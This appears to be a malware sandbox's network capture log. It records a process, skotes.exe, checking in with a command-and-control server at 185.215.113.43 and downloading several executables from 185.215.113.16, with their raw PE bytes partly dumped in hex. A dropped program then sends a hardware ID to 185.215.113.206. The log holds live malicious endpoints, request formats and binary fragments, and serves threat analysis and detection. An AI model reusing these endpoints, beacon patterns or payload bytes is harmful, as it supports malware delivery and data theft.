Nov 1, 2024 12:14:36.220652103 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 1, 2024 12:14:37.140322924 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 33 31 35 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 31 35 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 31 35 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 31 35 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1003156001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003157001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003158001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003159001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49979	185.215.113.16	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:37.150794983 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:14:38.057048082 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:37 GMT Content-Type: application/octet-stream Content-Length: 2937856 Last-Modified: Fri, 01 Nov 2024 10:53:44 GMT Connection: keep-alive ETag: "6724b338-2cd400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 30 00 00 04 00 00 17 5f 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@0_-@Th@ ~@.rsrc@@.idata @rdpqavxy **@vlmkkwpy/,@.taggant0/",@
Nov 1, 2024 12:14:38.057199955 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:38.057370901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:38.057384014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:38.057395935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:38.057413101 CET	636	IN	Data Raw: f4 d7 f6 70 48 9e 6a 50 70 27 43 43 4a 2b 8d 7e 50 85 f6 ae 82 b6 54 56 73 b6 7c 2e 88 b9 da a3 77 b5 c6 5b 5f cf 72 e0 e2 e2 9a 13 6e 9d 83 87 ed bb b0 33 dc 2d bc 7e e8 96 4b b8 63 ad 42 ef 65 c2 d2 6c b8 de 8f f2 5e 36 09 4b 2d 76 61 36 f8 0f Data Ascii: pHjPp'CCJ+~PTVs\|.w[_rn3-~KcBel^6K-va6Qe8N3XME;S4;M5_{K':MvF><^x]J9A?O;F"$B?7 ;#7"ekIkGDP;60-/dSwR_'F/<H{ ['?
Nov 1, 2024 12:14:38.057426929 CET	1236	IN	Data Raw: a0 37 f7 05 19 a4 c9 ba 9c 91 a7 57 b4 c3 2b c5 03 8b b9 7e f7 8e d7 1f 3d a9 2d c6 ec bf fd 4a c7 bd f1 f4 73 cb ed ad ae 83 85 4f f6 e6 8f a3 b7 f0 f4 6f 8f c3 32 8c 0b b5 d5 83 f5 ee 61 48 e8 1c 1f ab fd 47 69 12 c9 2f 75 fa 6c e3 26 48 98 c8 Data Ascii: 7W+~=-JsOo2aHGi/ul&HmI+>QyVbG-3B6DY;u=Y8l6F\c7FKV1SXU"fmS#Es[Pyn#?xdmcK&\\=ob"mf"T;
Nov 1, 2024 12:14:38.057450056 CET	1236	IN	Data Raw: 4a f4 75 2e d1 4f 4e af 19 d6 72 0a 22 69 94 7e f2 a1 06 64 e3 92 8d 68 a6 d9 e6 e0 36 77 0a ae 16 98 8e b3 a4 27 1a 21 a0 d6 54 82 a2 89 6e 7a 05 47 37 96 84 d1 ad 0b 94 6e 8f 55 4c cb dc fa 04 b0 4a 45 e5 59 d6 c6 19 f7 87 99 34 5d eb 8f 87 1d Data Ascii: Ju.ONr"i~dh6w'!TnzG7nULJEY4]yND/+a`kW7:o\|,s2+B2VSwB<6:VT3;=2#]#;X>my+}~#0v]hMsx6co5c
Nov 1, 2024 12:14:38.057466984 CET	1236	IN	Data Raw: d4 5f 2c d7 ba 36 54 e8 c5 b0 18 3e d6 78 43 ba 7b 39 09 5e f6 27 04 38 1f 80 29 1f 49 2e 46 4c 10 43 9d 69 e0 1d 4b 54 9f 30 4f 6f 82 8c 2b 5b 31 7c c6 cf 3b e3 4f 66 b2 21 0f a8 e5 a5 e6 9e 97 9b 39 e3 4e 32 ce 22 ad 87 ab a6 8c ab 05 1d c7 63 Data Ascii: _,6T>xC{9^'8)I.FLCiKT0Oo+[1\|;Of!9N2"c3aS-w>}%=(92]_=UFP:,S_Y2l@ 6[CZ zz $y,-]W5li-&
Nov 1, 2024 12:14:38.057481050 CET	636	IN	Data Raw: 39 63 ab ac 31 cc 12 b3 2f 4e 54 d2 84 e3 3f 18 1c 48 e4 aa 8d a1 d4 78 6e df 52 87 49 f4 bb a0 76 ee 22 2f c8 90 16 6d 24 6c b4 16 3b fa 2d 63 d0 33 b7 55 62 86 db 43 3e 60 0c 23 0f de f9 ea f2 ed fa 2a 2e 40 75 84 ec 3a e6 af cc 3a 69 1d b9 d6 Data Ascii: 9c1/NT?HxnRIv"/m$l;-c3UbC>`#*.@u::iL;d+"H<1NWaiTl8JR`yf[_QaJ@C%r]$1o{+laU<bSbh6UBKj8ODy}jOV<~[kb<aL
Nov 1, 2024 12:14:38.063694000 CET	1236	IN	Data Raw: aa b2 f2 e3 76 ee 7b 05 62 1f 20 ca 32 12 d0 f2 79 48 c1 c2 bc 01 77 06 4e c1 30 95 30 95 21 83 b6 ab 84 6f de f3 c3 2e b4 a8 2d b3 30 aa 1f b4 4e 9d cc e8 0e dd 39 eb 3b 8e dd b0 ad 1f e6 ac 9c 7a 8b a6 69 be dc 92 53 9f 07 d1 8c 43 b9 ab a3 37 Data Ascii: v{b 2yHwN00!o.-0N9;ziSC7nhtZp3\~ZprvMHD\v3p?_fX4S-cR}"iya;?tSM0CF{~>pj8'( )E3A(my,6m8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49980	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:42.010529995 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003156001&unit=246122658369
Nov 1, 2024 12:14:43.104322910 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49981	185.215.113.16	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:43.112385988 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:14:44.007960081 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:43 GMT Content-Type: application/octet-stream Content-Length: 2126336 Last-Modified: Fri, 01 Nov 2024 10:53:58 GMT Connection: keep-alive ETag: "6724b346-207200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 52 52 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@rRR!@P.d. p.v@.rsrc .@.idata .@ *.@dcpywpmoX@ghlarfhjprL @.taggant0r"P @
Nov 1, 2024 12:14:44.007985115 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:44.007994890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:44.008007050 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:44.008069038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:44.008096933 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:44.008110046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:14:44.008153915 CET	1236	IN	Data Raw: 0f f1 84 6e 6f b8 dc 49 9f 7a 8c 59 26 b6 86 ca db 01 06 fc ba b9 0f a5 e1 a9 db 28 9e 88 8c ca 86 4d 22 3d 9e 25 84 fe 86 4d e8 0c 9e 25 84 e2 86 4c d6 1e 9e 04 0e c9 aa f1 46 f6 be 8e 8e ae 14 a8 66 8b 22 4c 92 18 56 57 85 cb b4 9d 4f fb 70 bd Data Ascii: noIzY&(M"=%M%LFf"LVWOpO5DMBv,rl4 /O,[L/XSo&LOK'xN}ta)sHI*u0/l[{@Oo7+9z=>
Nov 1, 2024 12:14:44.008167982 CET	424	IN	Data Raw: bd bb bc 95 d8 40 b0 f6 e2 82 67 d7 8c 23 28 ca 8b 1b 3b 04 4e ba 33 a7 18 c0 fb 2f 07 2c 50 ab 0a 29 8d 73 03 1f 51 82 61 b2 fb 25 72 8e 55 dd 55 25 81 ca 90 85 e1 ff 02 d2 f6 e8 19 fb dd 78 6f 8b 14 fd 67 f1 ff 21 f0 22 72 d9 1c 64 39 5c c8 d0 Data Ascii: @g#(;N3/,P)sQa%rUU%xog!"rd9\\|HMP;`JizabO0KG[EQY#nXRLR$S;ZG4{LULFo@FkHT*_kotX[
Nov 1, 2024 12:14:44.008220911 CET	1148	IN	Data Raw: cc 31 b8 aa 8e b1 5c 96 68 c5 8b 6b 17 71 04 8d 00 11 74 8e 13 fd 38 81 9e bc 78 56 46 a8 44 9b c8 ae 21 76 af 0f b1 ae 8a b8 30 ce a8 3b 74 b6 13 8c 0c b2 8b a0 04 ce 43 3b 7a de 03 bd 5c 6e 4f 49 9a 96 72 7d 56 4c 48 36 cc 85 13 95 8a f1 16 c5 Data Ascii: 1\hkqt8xVFD!v0;tC;z\nOIr}VLH6OH$XhH\/\|ZlI9<,ELI93NeQo0(b6->tr~EpzrV`(ZhVgxER0Hx8YPQz
Nov 1, 2024 12:14:44.013118029 CET	1236	IN	Data Raw: 88 a0 02 fb d7 1a 6c 98 c2 d1 7c ff 1b 08 f2 67 79 cd cc e5 22 be c0 55 3f 75 07 b7 32 a0 a3 ec 18 fa 6c c2 ba 58 f5 4f 6b d0 08 9a 13 ae 6e 71 8b ef 69 be 8e a0 54 e4 17 c0 28 84 ae a6 7a 76 0f a0 18 e4 0e c0 c8 cc 6a 2e e4 64 10 79 bc 2d 4d a2 Data Ascii: l\|gy"U?u2lXOknqiT(zvj.dy-MzQkzn1&Da@gz()6XrS2L1V)6o26OwO5Up8n}V!H1Xk9>YJ]a979fK0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49985	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:47.533226967 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003157001&unit=246122658369
Nov 1, 2024 12:14:48.473269939 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49986	185.215.113.206	80	6728	C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:48.150933027 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 12:14:49.060502052 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 12:14:49.339591026 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 35 46 34 36 30 35 42 42 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"755F4605BBE64120021454------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"tale------FCAEBFIJKEBGHIDHIEGI--
Nov 1, 2024 12:14:49.627424955 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49988	185.215.113.16	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:48.485898018 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:14:49.393112898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:49 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Fri, 01 Nov 2024 10:15:29 GMT Connection: keep-alive ETag: "6724aa41-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 39 aa 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL9$g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 1, 2024 12:14:49.393158913 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 1, 2024 12:14:49.393171072 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 1, 2024 12:14:49.393182993 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 1, 2024 12:14:49.393196106 CET	224	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@
Nov 1, 2024 12:14:49.393224955 CET	1236	IN	Data Raw: 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 Data Ascii: YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jA
Nov 1, 2024 12:14:49.393239021 CET	212	IN	Data Raw: cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 Data Ascii: xMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ
Nov 1, 2024 12:14:49.393269062 CET	1236	IN	Data Raw: 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 83 fe 2b 0f 94 c3 33 c0 83 fe 2b 0f 94 c0 8d 04 85 04 00 00 00 8b 0c 08 66 83 79 08 34 0f 85 1b 07 04 00 8b 09 83 ec 10 8b 41 04 8b 11 89 45 ec 8b 41 08 89 Data Ascii: (MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3
